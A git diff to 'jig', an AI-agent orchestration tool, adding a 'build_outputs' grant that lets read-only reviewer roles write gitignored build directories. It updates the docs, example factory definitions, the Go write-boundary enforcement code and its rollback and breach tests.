diff --git a/AGENTS.md b/AGENTS.md
index fd74c23..0181ed9 100644
--- a/AGENTS.md
+++ b/AGENTS.md
@@ -51,7 +51,8 @@ UI (from `web/`):
- **Definition changes are validated at save time.** A new definition field
or rule goes in `internal/protocol/definition.go` with a test, and the stock
definitions must still pass `just definitions`.
-- **Parallel-group members are read-only and concurrent.** Anything that
+- **Parallel-group members are read-only (apart from declared
+ `build_outputs`) and concurrent.** Anything that
dispatches or replays phases must not run a member outside the group.
- Work on a branch in a sibling worktree, open a PR, never push to `main`.
- `gofmt` everything; match the surrounding comment style, which explains
diff --git a/README.md b/README.md
index 47126b9..4c8e0aa 100644
--- a/README.md
+++ b/README.md
@@ -147,6 +147,7 @@ roster: # one entry per agent role
Task: {{prompt}} # the invocation's prompt, frozen at admission
env: [PATH] # env allowlist — the ONLY variables it receives
writes: ["src/**"] # write allowlist; [] is read-only, omitted is unrestricted
+ # (build output directories go in build_outputs, below)
phases:
- name: build
kind: agent # agent | code
@@ -174,6 +175,7 @@ acceptance: [all_phases_passed, diff_matches_claims]
publish:
hold_when: "risk == high" # accepted but held for a person; publish retry releases it
ci: {wait: true, timeout: 30m} # accepted only once CI on the PR head is green
+build_outputs: ["bin/**"] # gitignored directories ANY role may write, read-only roles included
```
Rules worth knowing before you write one:
@@ -262,6 +264,32 @@ Rules worth knowing before you write one:
send by that role may cost; Claude Code enforces it as `--max-budget-usd`.
Codex has no such flag, and a cap it cannot enforce fails the send rather
than run uncapped — the same posture as a `tools` allowlist there.
+- **Build outputs are a grant, not an allowlist entry.** A read-only
+ reviewer that runs the repository's own check command still writes what
+ it builds, and `writes: []` would breach on it. `build_outputs:
+ ["bin/**"]` names the directories every role — read-only reviewers and
+ parallel-group members included — may write without breaching. A grant
+ covers **gitignored** paths only: a path under a grant that git does not
+ ignore is ordinary content judged by `writes` — a breach for a read-only
+ role, whose message says `declared build output is not gitignored`, and a
+ changed path (committed like any other) for a writing one. Each entry is
+ exactly one of `
/**`, `**//**`, or `/`, with ``
+ literal; anything else (`bin/*.o`, `*/bin/**`, `b?n/**`, the bare `**`)
+ is refused at save time, and leading or trailing whitespace is refused,
+ not trimmed. Git reports a wholly ignored directory as one entry and a
+ grant matches paths as git enumerates them, so declare the directory git
+ ignores: with `cache/` ignored, `cache/**` covers `cache/bin/x` but
+ `cache/bin/**` does not. `**//**` matches the directory at the root
+ and nested. A path tracked in HEAD is never an output, and git metadata
+ never is. Outputs are not changed paths, so jig never stages or publishes
+ one, and `git add -A` in a commit phase never stages an ignored path; a
+ role that commits an output itself (`git add -f`) publishes it under its
+ own `writes`, and from then on it is tracked content. Outputs
+ written during a parallel group survive the group whatever happened to the
+ member that wrote them, and the trace attributes them to the group, not a
+ role. A crashed sequential phase is still rolled back to its snapshot,
+ its new outputs included. Declare only directories no later phase
+ executes: a reviewer could otherwise plant what a test phase runs.
- **Code phases can report.** A code phase with `reports_fields: true`
prints a JSON object as its last output line, and those fields join the
envelope view that `if:` guards and `publish.hold_when` read. It is how a
@@ -353,11 +381,12 @@ Rules worth knowing before you write one:
[review-correctness, review-security, review-maintainability]` runs those
phases at once, as one step of the chain. It is opt-in and narrow: one
group per definition, two or more consecutive agent phases, each with its
- own role, every role `writes: []`, and no member's `if:` guard reading a
- field a sibling reports. Each member runs in its own ephemeral HOME and
- session and is handed the envelope from BEFORE the group, never a
+ own role, every role `writes: []` (declared `build_outputs` excepted;
+ outputs written during the group survive it), and no member's `if:` guard
+ reading a field a sibling reports. Each member runs in its own ephemeral
+ HOME and session and is handed the envelope from BEFORE the group, never a
sibling's; results merge in declared order, and the next phase gets the
- last member's envelope. Any worktree change while the group runs —
+ last member's envelope. Any other worktree change while the group runs —
including one a crashed member left — rolls back and aborts the attempt.
Rejections resolve after every member finishes: the first member in
declared order that rejected with budget left dispatches its repair target
diff --git a/cmd/jig/factory_test.go b/cmd/jig/factory_test.go
index 7dfdcf7..b971f7f 100644
--- a/cmd/jig/factory_test.go
+++ b/cmd/jig/factory_test.go
@@ -10,6 +10,7 @@ import (
"os/exec"
"path/filepath"
"reflect"
+ "slices"
"strings"
"testing"
@@ -192,3 +193,94 @@ func TestTheParallelFactoryIsTheStockFactoryWithItsPanelGrouped(t *testing.T) {
t.Fatal("factory-parallel.yaml differs from factory.yaml beyond its name and its parallel group")
}
}
+
+// factoryFixture is a repository whose `make test` passes, optionally with
+// a .gitignore listing bin/ so the stock build_outputs grant covers it.
+func factoryFixture(t *testing.T, ignoreBin bool) string {
+ t.Helper()
+ if _, err := exec.LookPath("make"); err != nil {
+ t.Skip("make is not installed; the stock test command detects it first")
+ }
+ repo := initRepo(t)
+ writeFile(t, repo, "Makefile", "test:\n\t@true\n")
+ if ignoreBin {
+ writeFile(t, repo, ".gitignore", "bin/\n")
+ }
+ gitIn(t, repo, "add", ".")
+ gitIn(t, repo, "commit", "--quiet", "-m", "fixture")
+ return repo
+}
+
+// scriptedFactory is the stock factory exactly as written minus its runtime
+// pin: the scripted runtime advertises itself as `scripted`, and a worker
+// never claims a definition pinned to a runtime it does not run.
+func scriptedFactory(t *testing.T) string {
+ t.Helper()
+ source, err := os.ReadFile(stockDefinition("factory.yaml"))
+ if err != nil {
+ t.Fatal(err)
+ }
+ const pinned = "\nruntime: claude-code\n"
+ if strings.Count(string(source), pinned) != 1 {
+ t.Fatalf("factory.yaml does not pin %q exactly once", strings.TrimSpace(pinned))
+ }
+ path := filepath.Join(t.TempDir(), "factory.yaml")
+ writeFile(t, filepath.Dir(path), filepath.Base(path),
+ strings.Replace(string(source), pinned, "\n", 1))
+ return path
+}
+
+func factoryBuildStep(t *testing.T, files map[string]any) map[string]any {
+ t.Helper()
+ files["work.txt"] = "the work\n"
+ files["~/commit-message"] = "Write the work\n"
+ return map[string]any{
+ "files": files,
+ "text": envelopeJSON(t, map[string]any{
+ "status": "success", "summary": "wrote work.txt",
+ "artifacts": []any{"work.txt"}, "changed_files": []any{"work.txt"},
+ }),
+ }
+}
+
+// The stock commit phases stage with `git add -A`, which never stages a
+// gitignored path — so a declared build output never reaches a commit, and
+// a reviewer's output that is NOT gitignored is a breach that says why.
+func TestStockCommitBuildNeverCommitsAGitignoredBuildOutput(t *testing.T) {
+ t.Run("gitignored output stays out of HEAD", func(t *testing.T) {
+ repo := factoryFixture(t, true)
+ scriptRuntime(t, planStep(t),
+ factoryBuildStep(t, map[string]any{"bin/jig": "binary"}),
+ reviewStep(t, true), reviewStep(t, true), reviewStep(t, true))
+
+ code, report, stderr := runJigJSON(t, "--def", scriptedFactory(t),
+ "--data", t.TempDir(), repo, "write the work")
+ if code != exitAccepted {
+ t.Fatalf("exit = %d (%s), want %d (stderr: %s)", code, report.Error, exitAccepted, stderr)
+ }
+ tree := strings.Split(gitIn(t, repo, "ls-tree", "-r", "--name-only", "HEAD"), "\n")
+ if !slices.Contains(tree, "work.txt") || slices.Contains(tree, "bin/jig") {
+ t.Fatalf("HEAD tree = %v, want work.txt and not bin/jig", tree)
+ }
+ if _, err := os.Stat(filepath.Join(repo, "bin/jig")); err != nil {
+ t.Fatalf("the build output did not survive on disk: %v", err)
+ }
+ })
+ t.Run("non-ignored reviewer output is a breach", func(t *testing.T) {
+ repo := factoryFixture(t, false)
+ reviewer := reviewStep(t, true)
+ reviewer["files"] = map[string]any{"bin/x": "a reviewer ran the build"}
+ scriptRuntime(t, planStep(t), factoryBuildStep(t, map[string]any{}), reviewer)
+
+ code, report, stderr := runJigJSON(t, "--def", scriptedFactory(t),
+ "--data", t.TempDir(), repo, "write the work")
+ if code == exitAccepted || !strings.Contains(report.Error, "not gitignored") {
+ t.Fatalf("exit = %d (%s), want an abort naming a non-gitignored output (stderr: %s)",
+ code, report.Error, stderr)
+ }
+ tree := strings.Split(gitIn(t, repo, "ls-tree", "-r", "--name-only", "HEAD"), "\n")
+ if slices.Contains(tree, "bin/x") {
+ t.Fatalf("HEAD tree = %v, want no bin/x", tree)
+ }
+ })
+}
diff --git a/examples/definitions/factory-parallel.yaml b/examples/definitions/factory-parallel.yaml
index c21b9b1..117b9c3 100644
--- a/examples/definitions/factory-parallel.yaml
+++ b/examples/definitions/factory-parallel.yaml
@@ -10,7 +10,9 @@
# review-maintainability]` runs the three reviewers at once, each in its own
# ephemeral HOME and session. A group may hold only consecutive agent phases
# whose roles are read-only (`writes: []`) and distinct; any change to the
-# worktree while the panel runs aborts the attempt. What changes against the
+# worktree while the panel runs, apart from the declared `build_outputs`,
+# aborts the attempt. Outputs written during the panel survive it whatever
+# happened to the reviewer that wrote them. What changes against the
# sequential panel:
#
# - Prompts. Every reviewer is handed the envelope from before the panel
@@ -62,6 +64,22 @@
# once, on the same head, before a repair round is spent: a job that passes
# on re-run publishes, reported as flaky; one still red goes to repair.
#
+# THE WRITE BOUNDARY AND BUILD OUTPUTS. Every role's `writes` allowlist is
+# checked after each phase; the reviewers are read-only (`writes: []`). A
+# reviewer that runs the repository's own check command still writes its
+# build output, so `build_outputs` names the directories ANY role may write
+# without breaching: `bin/**` (`go build -o bin/...`) and `target/**` (Rust,
+# Maven). A grant is honoured only for gitignored paths — add the directory
+# to `.gitignore`, or a read-only role's write there is a breach that says
+# so. Each entry is exactly `/**`, `**//**`, or a literal `/`
+# naming the directory git ignores, and never covers a path tracked in HEAD
+# or git metadata. Jig never stages an output: outputs are not changed
+# paths. A role that commits one
+# itself publishes it, under its own `writes`. Declare only directories no
+# later phase EXECUTES: the `test` phase runs `npm test`, so a JavaScript
+# dependency directory is deliberately left out — granting it would let a
+# reviewer plant what `test` runs.
+#
# THE ROSTER. Builders and reviewers are `opus`; the planner and the extra
# high-risk reviewer are `sonnet`. `effort` is medium for building to a plan
# and high for reviewers hunting what the build missed. `budget_usd` caps what
@@ -70,9 +88,13 @@
#
# EDIT BEFORE USE: the test command (it detects common entry points and
# fails loudly when it finds none), the builder's `writes` allowlist (`**` is
-# the weakest boundary jig can enforce — narrow it, R10), and the risk
-# classifier's path pattern and line threshold, which should name what is
-# dangerous in YOUR repository.
+# the weakest boundary jig can enforce — narrow it, R10), the
+# `build_outputs` list (declare only directories your build writes and no
+# later phase executes; a grant is honoured only for gitignored paths — add
+# the directory to `.gitignore`, or a read-only role's write there is a
+# breach that says so; a role that commits an output itself publishes it),
+# and the risk classifier's path pattern and line threshold, which should
+# name what is dangerous in YOUR repository.
name: factory-parallel
runtime: claude-code
roster:
@@ -283,7 +305,10 @@ phases:
# The commit phases stage with `git add -A` deliberately: by the time a
# code phase runs, the write boundary has already verified every path the
# agent changed against its allowlist and rolled back anything else (R10),
- # so what is left in the worktree is exactly the authorized work.
+ # so what is left in the worktree is exactly the authorized work. `git add
+ # -A` never stages gitignored paths, so declared build outputs never reach
+ # these commits; a non-ignored path under a grant is ordinary content the
+ # boundary has already judged under `writes`.
- name: commit-build
kind: code
owner: builder
@@ -413,3 +438,4 @@ publish:
rerun: {budget: 1}
on_fail: {run: build, budget: 2}
timeout: 30m
+build_outputs: ["bin/**", "target/**"]
diff --git a/examples/definitions/factory.yaml b/examples/definitions/factory.yaml
index ce1352c..744e9b4 100644
--- a/examples/definitions/factory.yaml
+++ b/examples/definitions/factory.yaml
@@ -50,6 +50,22 @@
# once, on the same head, before a repair round is spent: a job that passes
# on re-run publishes, reported as flaky; one still red goes to repair.
#
+# THE WRITE BOUNDARY AND BUILD OUTPUTS. Every role's `writes` allowlist is
+# checked after each phase; the reviewers are read-only (`writes: []`). A
+# reviewer that runs the repository's own check command still writes its
+# build output, so `build_outputs` names the directories ANY role may write
+# without breaching: `bin/**` (`go build -o bin/...`) and `target/**` (Rust,
+# Maven). A grant is honoured only for gitignored paths — add the directory
+# to `.gitignore`, or a read-only role's write there is a breach that says
+# so. Each entry is exactly `/**`, `**//**`, or a literal `/`
+# naming the directory git ignores, and never covers a path tracked in HEAD
+# or git metadata. Jig never stages an output: outputs are not changed
+# paths. A role that commits one
+# itself publishes it, under its own `writes`. Declare only directories no
+# later phase EXECUTES: the `test` phase runs `npm test`, so a JavaScript
+# dependency directory is deliberately left out — granting it would let a
+# reviewer plant what `test` runs.
+#
# THE ROSTER. Builders and reviewers are `opus`; the planner and the extra
# high-risk reviewer are `sonnet`. `effort` is medium for building to a plan
# and high for reviewers hunting what the build missed. `budget_usd` caps what
@@ -58,9 +74,13 @@
#
# EDIT BEFORE USE: the test command (it detects common entry points and
# fails loudly when it finds none), the builder's `writes` allowlist (`**` is
-# the weakest boundary jig can enforce — narrow it, R10), and the risk
-# classifier's path pattern and line threshold, which should name what is
-# dangerous in YOUR repository.
+# the weakest boundary jig can enforce — narrow it, R10), the
+# `build_outputs` list (declare only directories your build writes and no
+# later phase executes; a grant is honoured only for gitignored paths — add
+# the directory to `.gitignore`, or a read-only role's write there is a
+# breach that says so; a role that commits an output itself publishes it),
+# and the risk classifier's path pattern and line threshold, which should
+# name what is dangerous in YOUR repository.
name: factory
runtime: claude-code
roster:
@@ -271,7 +291,10 @@ phases:
# The commit phases stage with `git add -A` deliberately: by the time a
# code phase runs, the write boundary has already verified every path the
# agent changed against its allowlist and rolled back anything else (R10),
- # so what is left in the worktree is exactly the authorized work.
+ # so what is left in the worktree is exactly the authorized work. `git add
+ # -A` never stages gitignored paths, so declared build outputs never reach
+ # these commits; a non-ignored path under a grant is ordinary content the
+ # boundary has already judged under `writes`.
- name: commit-build
kind: code
owner: builder
@@ -400,3 +423,4 @@ publish:
rerun: {budget: 1}
on_fail: {run: build, budget: 2}
timeout: 30m
+build_outputs: ["bin/**", "target/**"]
diff --git a/internal/engine/boundary.go b/internal/engine/boundary.go
index bebf0c1..8f1442c 100644
--- a/internal/engine/boundary.go
+++ b/internal/engine/boundary.go
@@ -29,6 +29,20 @@
// git invocations, which run here with hooks, fsmonitor, and the ext
// transport switched off under an explicit environment.
//
+// A definition's `build_outputs` names directories every role may write —
+// read-only reviewers included — so a role can run the repository's own
+// check command without breaching on `bin/`. A changed path is a build
+// output iff it is GITIGNORED (enumerated by the ignored pass before or
+// after the phase), a grant matches it as git enumerated it, AND it is not
+// tracked in HEAD; outputs are classified before the allowlist for every
+// role, so they never become touched paths and jig never stages one — and
+// `git add -A` in a commit phase never stages an ignored path either. A
+// non-ignored path under a grant is ordinary content judged by `writes`;
+// when that makes it a breach, the outcome says the grant needed a
+// .gitignore entry. The grant is a separate parameter, never folded into
+// `writes` (whose nil means unrestricted), and it is never consulted for
+// git metadata, which stays outside every allowlist.
+//
// A breach is not a gate violation: gates are for work an agent can be asked
// to redo, while a breached write already happened. Out-of-allowlist changes
// the agent introduced are rolled back, then the ATTEMPT aborts — never
@@ -71,13 +85,19 @@ type treeSnapshot struct {
// pointer itself, `config`/`config.worktree`, and every hook — for the
// worktree's git dir and, when it differs, the shared common dir.
gitMeta fingerprint
+ // ignored records which paths came from the ignored-but-present pass,
+ // keyed exactly as git enumerated them (a wholly-ignored directory is
+ // one `dir/` entry). Only these can be build outputs.
+ ignored map[string]bool
}
// snapshotTree fingerprints every path the worktree differs on relative to
// HEAD, every untracked or ignored path present in it, and the repository
// metadata that can make jig's own git commands execute code.
func snapshotTree(ctx context.Context, dir string) (treeSnapshot, error) {
- snapshot := treeSnapshot{paths: make(fingerprint), gitMeta: make(fingerprint)}
+ snapshot := treeSnapshot{
+ paths: make(fingerprint), gitMeta: make(fingerprint), ignored: make(map[string]bool),
+ }
// Tracked paths differing from HEAD. `--no-renames` so a rename is a
// delete plus an add — two literal paths — and `-z` so a path containing
@@ -112,6 +132,7 @@ func snapshotTree(ctx context.Context, dir string) (treeSnapshot, error) {
}
for _, path := range splitNUL(ignored) {
snapshot.paths[path] = fingerprintWorktreePath(dir, path)
+ snapshot.ignored[path] = true
}
if err := snapshotGitMeta(ctx, dir, snapshot.gitMeta); err != nil {
@@ -440,26 +461,110 @@ func rollBackGitMeta(path string, before fingerprint) string {
return "deleted"
}
+// headPaths is the set of every path tracked in HEAD, read once per
+// enforcement rather than one `cat-file` per changed path.
+func headPaths(ctx context.Context, dir string) (map[string]bool, error) {
+ listing, err := runGit(ctx, dir, "ls-tree", "-r", "-z", "--name-only", "HEAD")
+ if err != nil {
+ return nil, fmt.Errorf("list HEAD paths: %w", err)
+ }
+ paths := make(map[string]bool)
+ for _, path := range splitNUL(listing) {
+ paths[path] = true
+ }
+ return paths, nil
+}
+
+// grantMatches reports whether a build-output grant matches a path as git
+// enumerated it. A `**//**` grant is also tried without its leading
+// `**/`: compileGlob turns `**/` into `.*/`, which demands a separator and
+// would miss a root-level `__pycache__/`. The retry is for build outputs
+// only; `writes` semantics are unchanged.
+func grantMatches(path string, patterns []string) bool {
+ for _, pattern := range patterns {
+ if matchesPattern(path, pattern) {
+ return true
+ }
+ if rest, ok := strings.CutPrefix(pattern, "**/"); ok && matchesPattern(path, rest) {
+ return true
+ }
+ }
+ return false
+}
+
+// isBuildOutput reports whether a changed path is a declared build output:
+// it came from the ignored pass of either snapshot (so an output deleted by
+// `make clean` still counts), a grant matches it, and it is not tracked in
+// HEAD. A collapsed ignored directory (`bin/`) counts as tracked when HEAD
+// holds anything beneath it or a file of that name: a grant must never
+// reach repository content.
+func isBuildOutput(path string, patterns []string, head, ignored map[string]bool) bool {
+ return ignored[path] && grantMatches(path, patterns) && !trackedInHEAD(path, head)
+}
+
+// trackedInHEAD reports whether HEAD holds the path, or — for a collapsed
+// `dir/` entry — a file of that name or anything beneath it.
+func trackedInHEAD(path string, head map[string]bool) bool {
+ if !strings.HasSuffix(path, "/") {
+ return head[path]
+ }
+ if head[strings.TrimSuffix(path, "/")] {
+ return true
+ }
+ for tracked := range head {
+ if strings.HasPrefix(tracked, path) {
+ return true
+ }
+ }
+ return false
+}
+
// enforceBoundary compares the tree against the pre-phase snapshot. It
-// returns the paths the agent legitimately changed; when the agent
-// overstepped, everything it introduced outside the allowlist is rolled
-// back first and the breaches are returned for the abort path.
+// returns the paths the agent legitimately changed and, separately, the
+// declared build outputs it wrote; when the agent overstepped, everything
+// it introduced outside the allowlist is rolled back first and the breaches
+// are returned for the abort path.
func enforceBoundary(
- ctx context.Context, dir string, before treeSnapshot, writes []string,
-) (touched []string, breaches []breach, err error) {
+ ctx context.Context, dir string, before treeSnapshot, writes, buildOutputs []string,
+) (touched, outputs []string, breaches []breach, err error) {
after, err := snapshotTree(ctx, dir)
if err != nil {
- return nil, nil, err
+ return nil, nil, nil, err
+ }
+ var head map[string]bool
+ ignored := make(map[string]bool, len(before.ignored)+len(after.ignored))
+ if len(buildOutputs) > 0 {
+ if head, err = headPaths(ctx, dir); err != nil {
+ return nil, nil, nil, err
+ }
+ for path := range before.ignored {
+ ignored[path] = true
+ }
+ for path := range after.ignored {
+ ignored[path] = true
+ }
}
for _, path := range changedPaths(before.paths, after.paths) {
+ // Outputs first, for every role: the builder and the reviewer get
+ // the same answer, and an output never enters touched — so never
+ // changed_paths, so never jig's own staging.
+ if len(buildOutputs) > 0 && isBuildOutput(path, buildOutputs, head, ignored) {
+ outputs = append(outputs, path)
+ continue
+ }
if writePermitted(path, writes) {
touched = append(touched, path)
continue
}
- breaches = append(breaches, breach{
- Path: path,
- Outcome: rollBackPath(ctx, dir, path, before.paths, after.paths),
- })
+ outcome := rollBackPath(ctx, dir, path, before.paths, after.paths)
+ // A grant only covers gitignored paths; for an untracked one it
+ // missed, say so, because the operator's fix is a .gitignore line,
+ // not a wider allowlist. A tracked path is never an output at all.
+ if len(buildOutputs) > 0 && !ignored[path] && !trackedInHEAD(path, head) &&
+ grantMatches(path, buildOutputs) {
+ outcome = "declared build output is not gitignored — " + outcome
+ }
+ breaches = append(breaches, breach{Path: path, Outcome: outcome})
}
// Repository metadata is outside every allowlist by construction:
// `writes` names repository CONTENT, and no definition may hand a role
@@ -471,13 +576,15 @@ func enforceBoundary(
Outcome: rollBackGitMeta(path, before.gitMeta),
})
}
- return touched, breaches, nil
+ return touched, outputs, breaches, nil
}
// restoreSnapshot rolls the worktree back to a pre-phase snapshot after a
// crash or watchdog kill (R11): everything the dead phase introduced is
-// undone the same way a breach is. Pre-existing dirt stays; what cannot be
-// restored is reported, never silently accepted.
+// undone the same way a breach is, build outputs included. A path already
+// dirty before the phase — a pre-existing collapsed `bin/`, a modified
+// tracked file — is left as-is in its post-agent state SILENTLY: only
+// `could not…` and `reverted-by-agent` outcomes are returned as failures.
func restoreSnapshot(ctx context.Context, dir string, before treeSnapshot) error {
after, err := snapshotTree(ctx, dir)
if err != nil {
diff --git a/internal/engine/boundary_test.go b/internal/engine/boundary_test.go
index c92b4a0..2cccae1 100644
--- a/internal/engine/boundary_test.go
+++ b/internal/engine/boundary_test.go
@@ -146,7 +146,7 @@ func TestEnforceBoundaryRollsBackOnlyWhatTheAgentIntroduced(t *testing.T) {
write(t, dir, "stray.txt", "stray")
write(t, dir, "tracked.txt", "agent overwrote this\n")
- touched, breaches, err := enforceBoundary(ctx, dir, before, []string{"src/"})
+ touched, _, breaches, err := enforceBoundary(ctx, dir, before, []string{"src/"}, nil)
if err != nil {
t.Fatal(err)
}
@@ -216,7 +216,7 @@ func TestStagedAndUnstagedRenamesInsideTheAllowlistAreLiteralPaths(t *testing.T)
}
}
- touched, breaches, err := enforceBoundary(ctx, dir, before, []string{"docs/**"})
+ touched, _, breaches, err := enforceBoundary(ctx, dir, before, []string{"docs/**"}, nil)
if err != nil {
t.Fatal(err)
}
@@ -258,7 +258,7 @@ func TestRenameOutOfTheAllowlistBreachesAndRollsBack(t *testing.T) {
}
}
- _, breaches, err := enforceBoundary(ctx, dir, before, []string{"docs/**"})
+ _, _, breaches, err := enforceBoundary(ctx, dir, before, []string{"docs/**"}, nil)
if err != nil {
t.Fatal(err)
}
@@ -289,7 +289,7 @@ func TestPathsWithSpacesAndQuotesFingerprintLiterally(t *testing.T) {
if len(changed) != 1 || changed[0] != awkward {
t.Fatalf("changedPaths = %q, want the literal awkward path", changed)
}
- _, breaches, err := enforceBoundary(ctx, dir, before, []string{"src/"})
+ _, _, breaches, err := enforceBoundary(ctx, dir, before, []string{"src/"}, nil)
if err != nil {
t.Fatal(err)
}
@@ -319,7 +319,7 @@ func TestRewritingAnUntrackedFileFromAnEarlierPhaseIsDetected(t *testing.T) {
changed[0] != "src/scratch.txt" {
t.Fatalf("changedPaths = %v, want [src/scratch.txt]", changed)
}
- _, breaches, err := enforceBoundary(ctx, dir, before, []string{"docs/"})
+ _, _, breaches, err := enforceBoundary(ctx, dir, before, []string{"docs/"}, nil)
if err != nil {
t.Fatal(err)
}
@@ -357,7 +357,7 @@ func TestWritesToGitignoredPathsAreDetectedAndRolledBack(t *testing.T) {
write(t, dir, "secret.env", "OPENAI_API_KEY=stolen\n")
write(t, dir, "buildcache/artifact.bin", "payload")
- _, breaches, err := enforceBoundary(ctx, dir, before, []string{"src/"})
+ _, _, breaches, err := enforceBoundary(ctx, dir, before, []string{"src/"}, nil)
if err != nil {
t.Fatal(err)
}
@@ -389,7 +389,7 @@ func TestPlantingAGitHookIsABreachEvenWithAnUnrestrictedAllowlist(t *testing.T)
// nil writes is the UNRESTRICTED allowlist: repository metadata is still
// out of bounds, because `writes` names repository content and nothing in
// a definition may hand a role code execution inside jig's own git.
- _, breaches, err := enforceBoundary(ctx, dir, before, nil)
+ _, _, breaches, err := enforceBoundary(ctx, dir, before, nil, nil)
if err != nil {
t.Fatal(err)
}
@@ -419,7 +419,7 @@ func TestRewritingGitConfigIsABreachThatCannotBeRestored(t *testing.T) {
t.Fatal(err)
}
- _, breaches, err := enforceBoundary(ctx, dir, before, nil)
+ _, _, breaches, err := enforceBoundary(ctx, dir, before, nil, nil)
if err != nil {
t.Fatal(err)
}
@@ -431,6 +431,343 @@ func TestRewritingGitConfigIsABreachThatCannotBeRestored(t *testing.T) {
}
}
+// ---- build outputs ---------------------------------------------------------
+
+// initOutputRepo is the boundary repo with `bin/` optionally gitignored —
+// ignored, git reports a wholly-untracked `bin/` as ONE collapsed entry.
+func initOutputRepo(t *testing.T, ignoreBin bool) string {
+ t.Helper()
+ dir := initBoundaryRepo(t)
+ if ignoreBin {
+ write(t, dir, ".gitignore", "secret.env\nbuildcache/\nbin/\n")
+ gitIn(t, dir, "commit", "--quiet", "-am", "ignore bin")
+ }
+ return dir
+}
+
+func TestDeclaredBuildOutputsAreNeitherBreachesNorTouchedPaths(t *testing.T) {
+ ctx := context.Background()
+ dir := initOutputRepo(t, true)
+ before := snapshotOrFail(t, ctx, dir)
+ write(t, dir, "bin/jig", "binary")
+
+ touched, outputs, breaches, err := enforceBoundary(ctx, dir, before, []string{}, []string{"bin/**"})
+ if err != nil {
+ t.Fatal(err)
+ }
+ if len(breaches) != 0 {
+ t.Fatalf("breaches = %+v, want none for a declared build output", breaches)
+ }
+ if len(touched) != 0 {
+ t.Fatalf("touched = %v, want empty: an output is never a changed path", touched)
+ }
+ if len(outputs) != 1 || outputs[0] != "bin/" {
+ t.Fatalf("outputs = %v, want the collapsed [bin/]", outputs)
+ }
+ if _, err := os.Stat(filepath.Join(dir, "bin/jig")); err != nil {
+ t.Fatalf("the build output did not survive: %v", err)
+ }
+}
+
+// A grant covers gitignored paths only. Under a grant, a path git does not
+// ignore is ordinary repository content judged by `writes` — a breach that
+// says why for a read-only role, a touched path for a writing one.
+func TestANonIgnoredPathUnderAGrantIsOrdinaryContent(t *testing.T) {
+ t.Run("read-only role breaches", func(t *testing.T) {
+ ctx := context.Background()
+ dir := initOutputRepo(t, false)
+ before := snapshotOrFail(t, ctx, dir)
+ write(t, dir, "bin/jig", "binary")
+
+ touched, outputs, breaches, err := enforceBoundary(ctx, dir, before, []string{}, []string{"bin/**"})
+ if err != nil {
+ t.Fatal(err)
+ }
+ if len(touched) != 0 || len(outputs) != 0 {
+ t.Fatalf("touched = %v, outputs = %v, want neither", touched, outputs)
+ }
+ if len(breaches) != 1 || breaches[0].Path != "bin/jig" ||
+ !strings.HasPrefix(breaches[0].Outcome, "declared build output is not gitignored — ") ||
+ !strings.HasSuffix(breaches[0].Outcome, "deleted") {
+ t.Fatalf("breaches = %+v, want bin/jig deleted with the not-gitignored prefix", breaches)
+ }
+ if _, err := os.Stat(filepath.Join(dir, "bin/jig")); !os.IsNotExist(err) {
+ t.Fatalf("the non-ignored write survived: %v", err)
+ }
+ })
+ t.Run("writing role touches", func(t *testing.T) {
+ ctx := context.Background()
+ dir := initOutputRepo(t, false)
+ before := snapshotOrFail(t, ctx, dir)
+ write(t, dir, "bin/jig", "binary")
+
+ touched, outputs, breaches, err := enforceBoundary(ctx, dir, before, []string{"**"}, []string{"bin/**"})
+ if err != nil {
+ t.Fatal(err)
+ }
+ if len(breaches) != 0 || len(outputs) != 0 {
+ t.Fatalf("breaches = %+v, outputs = %v, want neither", breaches, outputs)
+ }
+ if len(touched) != 1 || touched[0] != "bin/jig" {
+ t.Fatalf("touched = %v, want [bin/jig]", touched)
+ }
+ })
+ t.Run("deleting a pre-existing ignored output", func(t *testing.T) {
+ ctx := context.Background()
+ dir := initOutputRepo(t, true)
+ write(t, dir, "bin/jig", "earlier build")
+ before := snapshotOrFail(t, ctx, dir)
+ if err := os.RemoveAll(filepath.Join(dir, "bin")); err != nil {
+ t.Fatal(err)
+ }
+
+ touched, outputs, breaches, err := enforceBoundary(ctx, dir, before, []string{}, []string{"bin/**"})
+ if err != nil {
+ t.Fatal(err)
+ }
+ if len(breaches) != 0 || len(touched) != 0 {
+ t.Fatalf("breaches = %+v, touched = %v, want neither", breaches, touched)
+ }
+ if len(outputs) != 1 || outputs[0] != "bin/" {
+ t.Fatalf("outputs = %v, want [bin/] (ignored before the phase)", outputs)
+ }
+ })
+}
+
+// A grant matches a path as git enumerates it: a wholly-ignored directory by
+// its collapsed `dir/` entry, an individually ignored file by its own path,
+// and `**//**` at the root as well as nested.
+func TestBuildOutputGrantsMatchIgnoredPathsAsGitEnumeratesThem(t *testing.T) {
+ for _, c := range []struct {
+ name string
+ ignore string
+ tracked map[string]string
+ grant string
+ files []string
+ want []string
+ }{
+ {name: "collapsed directory", ignore: "bin/\n", grant: "bin/**",
+ files: []string{"bin/jig"}, want: []string{"bin/"}},
+ {name: "single ignored file", ignore: "bin/jig\n",
+ tracked: map[string]string{"bin/README.md": "tracked\n"}, grant: "bin/**",
+ files: []string{"bin/jig"}, want: []string{"bin/jig"}},
+ {name: "root and nested directory", ignore: "__pycache__/\n",
+ tracked: map[string]string{"pkg/mod.py": "pass\n"}, grant: "**/__pycache__/**",
+ files: []string{"__pycache__/a.pyc", "pkg/__pycache__/b.pyc"},
+ want: []string{"__pycache__/", "pkg/__pycache__/"}},
+ } {
+ t.Run(c.name, func(t *testing.T) {
+ ctx := context.Background()
+ dir := initBoundaryRepo(t)
+ write(t, dir, ".gitignore", c.ignore)
+ for path, content := range c.tracked {
+ write(t, dir, path, content)
+ }
+ gitIn(t, dir, "add", ".")
+ gitIn(t, dir, "commit", "--quiet", "-m", "fixture")
+ before := snapshotOrFail(t, ctx, dir)
+ for _, path := range c.files {
+ write(t, dir, path, "output")
+ }
+
+ touched, outputs, breaches, err := enforceBoundary(ctx, dir, before, []string{}, []string{c.grant})
+ if err != nil {
+ t.Fatal(err)
+ }
+ if len(breaches) != 0 || len(touched) != 0 {
+ t.Fatalf("breaches = %+v, touched = %v, want neither", breaches, touched)
+ }
+ if strings.Join(outputs, ",") != strings.Join(c.want, ",") {
+ t.Fatalf("outputs = %v, want %v", outputs, c.want)
+ }
+ for _, path := range c.files {
+ if _, err := os.Stat(filepath.Join(dir, path)); err != nil {
+ t.Fatalf("the build output %s did not survive: %v", path, err)
+ }
+ }
+ })
+ }
+}
+
+// A grant narrower than the directory git ignores cannot match the
+// collapsed entry, so the write is a breach — fail closed. Declaring the
+// directory git ignores makes it an output.
